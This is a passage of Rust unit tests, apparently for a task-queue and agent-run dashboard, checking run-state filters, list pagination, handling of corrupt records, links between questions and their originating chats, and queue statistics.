23630        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23631            if waiting {
23632                return "waiting";
23633            }
23634            if dead
23635                && !parked
23636                && !matches!(
23637                    status,
23638                    "merged"
23639                        | "ready"
23640                        | "stalled"
23641                        | "blocked"
23642                        | "failed"
23643                        | "verified_noop"
23644                        | "superseded"
23645                        | "already_in_base"
23646                )
23647            {
23648                return "stale";
23649            }
23650            match status {
23651                "merged" | "ready" => "landed",
23652                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23653                | "already_in_base" => "ended",
23654                _ => "flight",
23655            }
23656        }
23657
23658        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23659        // way.
23660        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23661            match filter_key {
23662                "active" => !done,
23663                "flight" => !done && !waiting && !dead,
23664                "stale" => !done && !waiting && dead,
23665                "waiting" => waiting,
23666                "done" => done,
23667                "all" => true,
23668                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23669            }
23670        }
23671
23672        let compatible = |section: &str, filter_key: &str| {
23673            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23674                run_section(*waiting, status, *dead, *parked) == section
23675                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23676            })
23677        };
23678
23679        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23680        // (active, flight, stale, waiting, done, all) - hand-derived from the
23681        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23682        // currently contains.
23683        let expected = [
23684            ("waiting", [true, false, false, true, true, true]),
23685            ("stale", [true, false, true, false, false, true]),
23686            ("flight", [true, true, false, false, false, true]),
23687            ("landed", [false, false, false, false, true, true]),
23688            ("ended", [false, false, false, false, true, true]),
23689        ];
23690        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23691
23692        for (section, wants) in expected {
23693            for (filter_key, want) in filter_keys.iter().zip(wants) {
23694                assert_eq!(
23695                    compatible(section, filter_key),
23696                    want,
23697                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23698                );
23699            }
23700        }
23701
23702        // The compatibility check exists only to be acted on: both pickers
23703        // must actually consult it rather than just render its answer.
23704        assert!(
23705            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23706        );
23707        assert!(APP_JS.contains(
23708            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23709        ));
23710        assert!(APP_JS.contains(
23711            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23712        ));
23713    }
23714
23715    #[tokio::test]
23716    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23717        // An operator-named directory - git checkout or not - is never
23718        // second-guessed, even when it does not exist at all: only the
23719        // flag's own unmodified `.` default is ever eligible for discovery.
23720        let dir = tempfile::tempdir().expect("tempdir");
23721        let explicit = dir.path().join("not-a-checkout");
23722        std::fs::create_dir_all(&explicit).expect("create dir");
23723        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23724
23725        let missing = dir.path().join("does-not-exist-at-all");
23726        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23727    }
23728
23729    #[test]
23730    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23731        assert!(APP_JS.contains("function statsDonutArcs"));
23732        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23733        // A bucket click filters by the statuses src/stats.rs counts in it.
23734        assert!(APP_JS.contains("function statusInBucket"));
23735        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23736        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23737        let buckets = [
23738            "merged",
23739            "ready",
23740            "in_progress",
23741            "blocked",
23742            "failed",
23743            "verified_noop",
23744            "superseded",
23745            "stalled",
23746        ];
23747        for key in buckets {
23748            let var = format!("--verdict-{key}:");
23749            // Light, OS-dark and pinned-dark blocks each define it.
23750            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23751            assert!(
23752                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23753                "{key}"
23754            );
23755        }
23756    }
23757
23758    #[tokio::test]
23759    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23760        let dir = tempfile::tempdir().expect("tempdir");
23761        let queue = Queue::at(dir.path().join("queue"));
23762        let talks = Talks::at(dir.path().join("talks"));
23763        std::fs::create_dir_all(queue.root()).unwrap();
23764        std::fs::create_dir_all(talks.root()).unwrap();
23765
23766        // Put a corrupt json file in both stores
23767        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23768        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23769
23770        // Valid task and talk
23771        let mut task = Task::new(
23772            "title".into(),
23773            "inst".into(),
23774            PathBuf::from("/repo"),
23775            Source::Human,
23776        );
23777        task.id = "20261019-123456-abcd".into();
23778        // Write manually so it's a valid file
23779        std::fs::write(
23780            queue.path_of(&task.id),
23781            serde_json::to_string(&task).unwrap(),
23782        )
23783        .unwrap();
23784
23785        let talk_id = "20261019-234567-cdef";
23786        seed_talk_at(&talks, talk_id, "open");
23787
23788        // Exact match should succeed without failing on the corrupt json file
23789        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23790        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23791
23792        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23793        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23794        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23795    }
23796
23797    #[tokio::test]
23798    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23799        let home = tempfile::tempdir().unwrap();
23800        let ui = delta_test_ui(home.path());
23801        // A full history traversal would fail even with no questions.
23802        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23803        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23804        assert!(
23805            questions_list(State(ui.clone()))
23806                .await
23807                .unwrap()
23808                .0
23809                .is_empty()
23810        );
23811        assert!(
23812            question_origins(State(ui.clone()))
23813                .await
23814                .unwrap()
23815                .0
23816                .is_empty()
23817        );
23818        let mut question = Question::new(
23819            "run-history".into(),
23820            "review".into(),
23821            "seat".into(),
23822            "Useful question".into(),
23823            "Useful detail".into(),
23824            vec![],
23825        );
23826        ui.questions.put(&mut question).unwrap();
23827        let core = questions_core(State(ui.clone())).await.unwrap().0;
23828        assert_eq!(core.len(), 1);
23829        assert_eq!(core[0].question.summary, "Useful question");
23830        assert!(!core[0].can_consult_chat);
23831        assert!(core[0].origin_chat.is_none());
23832        assert_eq!(core[0].record_revision, question_record_revision(&question));
23833        assert!(question_origins(State(ui.clone())).await.is_err());
23834        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23835    }
23836
23837    #[tokio::test]
23838    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23839        let home = tempfile::tempdir().unwrap();
23840        let ui = delta_test_ui(home.path());
23841        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23842        let mut parent = Task::new(
23843            "parent".into(),
23844            "body".into(),
23845            PathBuf::from("/repo"),
23846            Source::Agent {
23847                run: chat.clone(),
23848                node: crate::queue::CHAT_NODE.into(),
23849            },
23850        );
23851        parent.id = "parent-task".into();
23852        parent.runs = vec!["parent-run".into()];
23853        ui.queue.put(&mut parent).unwrap();
23854        let mut previous = parent;
23855        for generation in 1..=2 {
23856            let mut child = Task::new(
23857                "child".into(),
23858                "body".into(),
23859                PathBuf::from("/repo"),
23860                Source::Human,
23861            );
23862            child.id = format!("child-task-{generation}");
23863            child.runs = vec![format!("child-run-{generation}")];
23864            child.followup = Some(crate::queue::FollowUp {
23865                origin_task: Some(previous.id.clone()),
23866                run: previous.runs[0].clone(),
23867                pr: String::new(),
23868                findings: vec![],
23869                generation,
23870            });
23871            ui.queue.put(&mut child).unwrap();
23872            previous = child;
23873        }
23874        // A run may have the same spelling as another task's id; its owner
23875        // must not override a typed task reference.
23876        let mut collision = Task::new(
23877            "collision".into(),
23878            String::new(),
23879            PathBuf::from("/repo"),
23880            Source::Human,
23881        );
23882        collision.id = "collision-task".into();
23883        collision.runs = vec![previous.id.clone()];
23884        ui.queue.put(&mut collision).unwrap();
23885        let mut questions = Vec::new();
23886        for (node, reference, expected, eligible) in [
23887            (crate::triage::NODE, previous.id.as_str(), true, false),
23888            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23889            ("review", previous.runs[0].as_str(), true, true),
23890            (
23891                crate::bump::NOTICE_NODE,
23892                previous.runs[0].as_str(),
23893                true,
23894                false,
23895            ),
23896            // Identical text in the wrong reference namespace is not evidence.
23897            ("review", previous.id.as_str(), false, false),
23898            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23899            ("review", "unrelated", false, false),
23900        ] {
23901            let mut q = Question::new(
23902                reference.into(),
23903                node.into(),
23904                "seat".into(),
23905                "Question".into(),
23906                String::new(),
23907                vec![],
23908            );
23909            ui.questions.put(&mut q).unwrap();
23910            questions.push((q, expected, eligible));
23911        }
23912        for (node, reference, associated, eligible) in [
23913            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23914            (
23915                crate::reconcile::NODE,
23916                previous.runs[0].as_str(),
23917                false,
23918                true,
23919            ),
23920            ("implement", previous.id.as_str(), false, false),
23921        ] {
23922            let mut q = Question::new(
23923                reference.into(),
23924                node.into(),
23925                crate::reconcile::SEAT.into(),
23926                "Reconcile".into(),
23927                String::new(),
23928                vec![],
23929            );
23930            ui.questions.put(&mut q).unwrap();
23931            questions.push((q, associated, eligible));
23932        }
23933        let mut release = Question::new(
23934            "release-record".into(),
23935            crate::bump::NOTICE_NODE.into(),
23936            "release-watch".into(),
23937            "Release".into(),
23938            String::new(),
23939            vec![],
23940        );
23941        ui.questions.put(&mut release).unwrap();
23942        let watch = crate::release_watch::WatchState {
23943            question: Some(release.id.clone()),
23944            run: Some(previous.runs[0].clone()),
23945            held_task: Some(previous.id.clone()),
23946            ..Default::default()
23947        };
23948        let watch_dir = home.path().join("release-watch");
23949        std::fs::create_dir_all(&watch_dir).unwrap();
23950        let watch_path = watch_dir.join("watch.json");
23951        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23952        // Ordinary questions and bump notices do not need watch-store I/O.
23953        for batch in [
23954            Vec::new(),
23955            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23956        ] {
23957            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23958            assert!(watches.is_empty());
23959        }
23960        questions.push((release.clone(), true, false));
23961
23962        let views = questions_list(State(ui.clone())).await.unwrap().0;
23963        let origins = question_origins(State(ui.clone())).await.unwrap().0;
23964        for (q, associated, eligible) in &questions {
23965            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23966            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23967            let expected = associated.then_some(chat.as_str());
23968            assert_eq!(
23969                view.origin_chat.as_deref(),
23970                expected,
23971                "{} {}",
23972                q.node,
23973                q.run
23974            );
23975            assert_eq!(origin.origin_chat.as_deref(), expected);
23976            assert_eq!(view.origin_chat_closed, *associated);
23977            assert_eq!(origin.origin_chat_closed, *associated);
23978            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23979            assert_eq!(origin.can_consult_chat, *eligible);
23980        }
23981        // Either saved link independently recovers a release question's owner.
23982        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23983            let link = crate::release_watch::WatchState {
23984                run,
23985                held_task,
23986                ..watch.clone()
23987            };
23988            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23989            let (tasks, talks, watches) =
23990                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23991            assert_eq!(
23992                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23993                    .unwrap()
23994                    .id,
23995                chat,
23996            );
23997            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23998        }
23999        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24000        // Even identical duplicate records are ambiguous: ignore their links.
24001        let duplicate_path = watch_dir.join("duplicate.json");
24002        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24003        let (tasks, talks, watches) =
24004            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24005        assert!(
24006            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24007                .is_none()
24008        );
24009        std::fs::remove_file(duplicate_path).unwrap();
24010        // Another explicit owner is a conflict even if it has no chat.
24011        let mut unrelated = Task::new(
24012            "other".into(),
24013            String::new(),
24014            PathBuf::from("/repo"),
24015            Source::Human,
24016        );
24017        unrelated.id = "unrelated-task".into();
24018        ui.queue.put(&mut unrelated).unwrap();
24019        let mut conflicting = watch.clone();
24020        conflicting.held_task = Some(unrelated.id);
24021        std::fs::write(
24022            watch_dir.join("conflict.json"),
24023            serde_json::to_vec(&conflicting).unwrap(),
24024        )
24025        .unwrap();
24026        let (tasks, talks, watches) =
24027            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24028        assert!(
24029            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24030                .is_none()
24031        );
24032        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24033        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24034        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24035            assert!(origin.origin_chat.is_none());
24036            assert!(!origin.origin_chat_closed);
24037        }
24038    }
24039
24040    #[test]
24041    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24042        let home = tempfile::tempdir().unwrap();
24043        let ui = delta_test_ui(home.path());
24044        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24045        for i in 0..1000 {
24046            let mut task = Task::new(
24047                "unrelated".into(),
24048                "instruction ".repeat(256),
24049                PathBuf::from("/repo"),
24050                Source::Human,
24051            );
24052            task.id = format!("history-{i:04}");
24053            ui.queue.put(&mut task).unwrap();
24054            let id = seed_talk_at(&ui.talks, &task.id, "open");
24055            let mut talk = ui.talks.get(&id).unwrap();
24056            talk.pending = "history ".repeat(256);
24057            ui.talks.put(&mut talk).unwrap();
24058        }
24059        let mut parent = Task::new(
24060            "parent".into(),
24061            "body".into(),
24062            PathBuf::from("/repo"),
24063            Source::Agent {
24064                run: chat_id.clone(),
24065                node: crate::queue::CHAT_NODE.into(),
24066            },
24067        );
24068        parent.id = "task-parent".into();
24069        parent.runs = vec!["run-parent".into()];
24070        ui.queue.put(&mut parent).unwrap();
24071        let mut child = Task::new(
24072            "child".into(),
24073            "body".into(),
24074            PathBuf::from("/repo"),
24075            Source::Human,
24076        );
24077        child.id = "task-child".into();
24078        child.runs = vec!["run-child".into()];
24079        child.followup = Some(crate::queue::FollowUp {
24080            run: "run-parent".into(),
24081            origin_task: Some(parent.id.clone()),
24082            pr: "https://example.invalid/pr/1".into(),
24083            findings: vec![],
24084            generation: 1,
24085        });
24086        ui.queue.put(&mut child).unwrap();
24087        let mut question = Question::new(
24088            child.id.clone(),
24089            crate::conduct::NODE.into(),
24090            "seat".into(),
24091            "Continue?".into(),
24092            String::new(),
24093            vec![],
24094        );
24095        let (tasks, talks, _watches) =
24096            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24097        assert_eq!(tasks.len(), 2);
24098        assert_eq!(talks.len(), 1);
24099        assert_eq!(
24100            ui.monitor.queue_index.lock().unwrap().reparsed,
24101            0,
24102            "exact ancestry bypasses the index"
24103        );
24104        assert_eq!(
24105            crate::consult::origin_talk(&tasks, &talks, &question)
24106                .unwrap()
24107                .id,
24108            chat_id
24109        );
24110        question.run = "run-child".into();
24111        question.node = "review".into();
24112        for origin_task in [Some(parent.id.clone()), None] {
24113            child.followup.as_mut().unwrap().origin_task = origin_task;
24114            ui.queue.put(&mut child).unwrap();
24115            let (tasks, talks, _watches) =
24116                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24117            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24118            let expected =
24119                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24120                    .unwrap();
24121            assert_eq!(actual.id, expected.id);
24122            assert!(!actual.status.open());
24123            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24124            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24125            // Without Unix file identity, every readable record must be
24126            // reparsed to detect same-size, same-mtime replacements safely.
24127            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24128            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24129        }
24130        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24131        ui.queue.put(&mut child).unwrap();
24132        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24133        let (tasks, talks, _watches) =
24134            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24135        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24136        child.origin_chat = Some(chat_id.clone());
24137        ui.queue.put(&mut child).unwrap();
24138        let (tasks, talks, _watches) =
24139            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24140        assert_eq!(
24141            crate::consult::origin_talk(&tasks, &talks, &question)
24142                .unwrap()
24143                .id,
24144            chat_id
24145        );
24146        let revision = question_record_revision(&question);
24147        question.abandon("settled elsewhere");
24148        assert_ne!(revision, question_record_revision(&question));
24149        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24150        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24151        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24152        let (tasks, talks, _watches) =
24153            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24154        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24155    }
24156
24157    #[test]
24158    fn list_cursors_freeze_membership_and_expire_explicitly() {
24159        let home = tempfile::tempdir().unwrap();
24160        let ui = delta_test_ui(home.path());
24161        std::fs::create_dir_all(ui.queue.root()).unwrap();
24162        for i in 0..40 {
24163            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24164        }
24165        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24166        assert_eq!(first.len(), STORE_PAGE_SIZE);
24167        let cursor = cursor.unwrap();
24168        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24169        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24170        let (second, _) = page_ids(
24171            &ui,
24172            false,
24173            PageQuery {
24174                before: Some(cursor.clone()),
24175            },
24176        )
24177        .unwrap();
24178        assert_eq!(second[0], "record-0023");
24179        assert!(second.iter().all(|id| !first.contains(id)));
24180        assert!(
24181            page_ids(
24182                &ui,
24183                true,
24184                PageQuery {
24185                    before: Some(cursor.clone())
24186                }
24187            )
24188            .is_err()
24189        );
24190        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24191        assert_eq!(fresh[0], "record-9999");
24192        ui.monitor.list_walks.lock().unwrap().clear();
24193        assert!(
24194            page_ids(
24195                &ui,
24196                false,
24197                PageQuery {
24198                    before: Some(cursor)
24199                }
24200            )
24201            .is_err()
24202        );
24203    }
24204
24205    #[tokio::test]
24206    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24207        let home = tempfile::tempdir().unwrap();
24208        let ui = delta_test_ui(home.path());
24209        let mut task = Task::new(
24210            "task".into(),
24211            "body".into(),
24212            PathBuf::from("/repo"),
24213            Source::Human,
24214        );
24215        ui.queue.put(&mut task).unwrap();
24216        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24217        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24218        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24219        let expected = parsed + usize::from(!cfg!(unix));
24220        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24221        task.status = crate::queue::TaskStatus::Held;
24222        ui.queue.put(&mut task).unwrap();
24223        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24224        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24225        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24226        ui.queue.put(&mut task).unwrap();
24227        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24228        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24229        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24230    }
24231
24232    #[tokio::test]
24233    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24234        let home = tempfile::tempdir().unwrap();
24235        let ui = delta_test_ui(home.path());
24236        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24237        let before = health(State(ui.clone())).await.unwrap().0;
24238        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24239        let after = health(State(ui)).await.unwrap().0;
24240        assert_ne!(before.notifications_rev, after.notifications_rev);
24241        assert_eq!(after.notifications_unread, 1);
24242    }
24243
24244    #[tokio::test]
24245    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24246        let home = tempfile::tempdir().unwrap();
24247        let ui = delta_test_ui(home.path());
24248        let queue = &ui.queue;
24249        let talks = &ui.talks;
24250        for i in 0..1000 {
24251            let id = format!("20261019-{i:06}-page");
24252            let mut task = Task::new(
24253                "task".into(),
24254                "instruction".repeat(100),
24255                PathBuf::from("/repo/magi"),
24256                Source::Human,
24257            );
24258            task.id = id.clone();
24259            if i == 0 {
24260                task.status = crate::queue::TaskStatus::Held;
24261            } else if i == 999 {
24262                task.status = crate::queue::TaskStatus::Blocked;
24263                task.blocked_by = vec!["20261019-000000-page".into()];
24264            }
24265            queue.put(&mut task).unwrap();
24266            seed_talk_at(talks, &id, "open");
24267        }
24268        let page = serde_json::to_value(
24269            queue_page(State(ui.clone()), Query(PageQuery::default()))
24270                .await
24271                .unwrap()
24272                .0,
24273        )
24274        .unwrap();
24275        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24276        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24277        assert!(
24278            !page["rows"][0]["stuck_roots"]
24279                .as_array()
24280                .unwrap()
24281                .is_empty()
24282        );
24283        let cursor = page["next"].as_str().unwrap();
24284        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24285            .as_str()
24286            .unwrap();
24287        // Deleting an already enumerated file cannot shift or repeat a page.
24288        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24289        let next = serde_json::to_value(
24290            queue_page(
24291                State(ui.clone()),
24292                Query(PageQuery {
24293                    before: Some(cursor.into()),
24294                }),
24295            )
24296            .await
24297            .unwrap()
24298            .0,
24299        )
24300        .unwrap();
24301        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24302        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24303        let chats = serde_json::to_value(
24304            talks_page(State(ui.clone()), Query(PageQuery::default()))
24305                .await
24306                .unwrap()
24307                .0,
24308        )
24309        .unwrap();
24310        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24311        assert!(chats["rows"][0].get("pending").is_none());
24312        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24313        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24314        assert_eq!(counts["held"], 1);
24315        assert_eq!(counts["blocked"], 1);
24316        assert_eq!(counts["queued"], 997);
24317    }
24318
24319    #[test]
24320    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24321        let dir = tempfile::tempdir().unwrap();
24322        let ui = delta_test_ui(dir.path());
24323        let mut task = Task::new(
24324            "task".into(),
24325            "body".into(),
24326            PathBuf::from("/repo"),
24327            Source::Human,
24328        );
24329        task.runs = vec!["run-a".into()];
24330        ui.queue.put(&mut task).unwrap();
24331        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24332        task.runs = vec!["run-b".into()];
24333        let path = ui.queue.path_of(&task.id);
24334        let modified = path.metadata().unwrap().modified().unwrap();
24335        let replacement = path.with_extension("replacement");
24336        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24337        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24338        std::fs::write(&replacement, &bytes).unwrap();
24339        std::fs::File::options()
24340            .write(true)
24341            .open(&replacement)
24342            .unwrap()
24343            .set_times(std::fs::FileTimes::new().set_modified(modified))
24344            .unwrap();
24345        std::fs::rename(&replacement, &path).unwrap();
24346        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24347        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24348        std::fs::write(&path, "broken").unwrap();
24349        assert!(ui.find_task_for_run("run-b").is_err());
24350        std::fs::write(&path, bytes).unwrap();
24351        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24352        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24353        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24354    }
24355
24356    #[tokio::test]
24357    async fn conversation_core_is_independent_of_unreadable_related_history() {
24358        let home = tempfile::tempdir().unwrap();
24359        let ui = delta_test_ui(home.path());
24360        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24361        std::fs::create_dir_all(ui.queue.root()).unwrap();
24362        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24363        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24364            .await
24365            .unwrap();
24366        assert_eq!(core.talk.id, id);
24367        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24368    }
24369
24370    #[tokio::test]
24371    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24372        let home = tempfile::tempdir().unwrap();
24373        let ui = delta_test_ui(home.path());
24374        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24375        let mut task = Task::new(
24376            "Referenced task".into(),
24377            "Unrelated instruction history".repeat(1024),
24378            home.path().into(),
24379            Source::Human,
24380        );
24381        task.id = "20261019-000000-abcd".into();
24382        ui.queue.put(&mut task).unwrap();
24383        let mut conversation = ui.talks.get(&id).unwrap();
24384        conversation.turns.push(talk::Turn {
24385            sender: Some(talk::Sender::Persona),
24386            who: talk::Who::Agent,
24387            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24388            at: conversation.created_at,
24389            attachments: Vec::new(),
24390            usage: None,
24391            breaks: None,
24392            messages: Vec::new(),
24393            posted_by: None,
24394        });
24395        ui.talks.put(&mut conversation).unwrap();
24396
24397        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24398        let markdown = serde_json::to_value(&core.turn_bodies_md)
24399            .unwrap()
24400            .to_string();
24401        assert!(markdown.contains("\"strong\""));
24402        assert!(markdown.contains("\"table\""));
24403        assert!(markdown.contains("\"bullet_list\""));
24404        assert!(markdown.contains("\"code_block\""));
24405        assert!(!markdown.contains("\"internal_link\""));
24406        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24407        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24408        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24409
24410        // Deferred decoration still resolves the same validated task, without
24411        // touching opaque code blocks or changing the original transcript.
24412        let references = ui.references.for_talk(home.path(), &conversation);
24413        let mut decorated = core.turn_bodies_md[0].clone();
24414        references.markdown(&mut decorated);
24415        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24416        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24417        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24418        assert_eq!(
24419            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24420            conversation.turns[0].body
24421        );
24422    }
24423
24424    #[tokio::test]
24425    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24426        let home = tempfile::tempdir().unwrap();
24427        let ui = delta_test_ui(home.path());
24428        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24429        let mut run = RunState::new(
24430            PathBuf::from("/repo"),
24431            "main".into(),
24432            "01234567".into(),
24433            "Useful run".into(),
24434            Config::default(),
24435        );
24436        run.save_under(home.path()).unwrap();
24437        let mut task = Task::new(
24438            "Related".into(),
24439            "body".into(),
24440            PathBuf::from("/repo"),
24441            Source::Agent {
24442                run: talk_id.clone(),
24443                node: "chat".into(),
24444            },
24445        );
24446        task.runs = vec![run.id.clone()];
24447        ui.queue.put(&mut task).unwrap();
24448        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24449        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24450        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24451        assert!(
24452            run_detail(State(ui.clone()), Path(run.id.clone()))
24453                .await
24454                .is_ok()
24455        );
24456        assert!(
24457            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24458                .await
24459                .is_ok()
24460        );
24461        // Previously indexed corruption must not masquerade as no relationship.
24462        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24463        assert!(ui.find_task_for_run(&run.id).is_err());
24464        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24465        ui.queue.put(&mut task).unwrap();
24466        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24467    }
24468
24469    #[tokio::test]
24470    async fn conversation_sections_omit_large_task_instructions() {
24471        let home = tempfile::tempdir().unwrap();
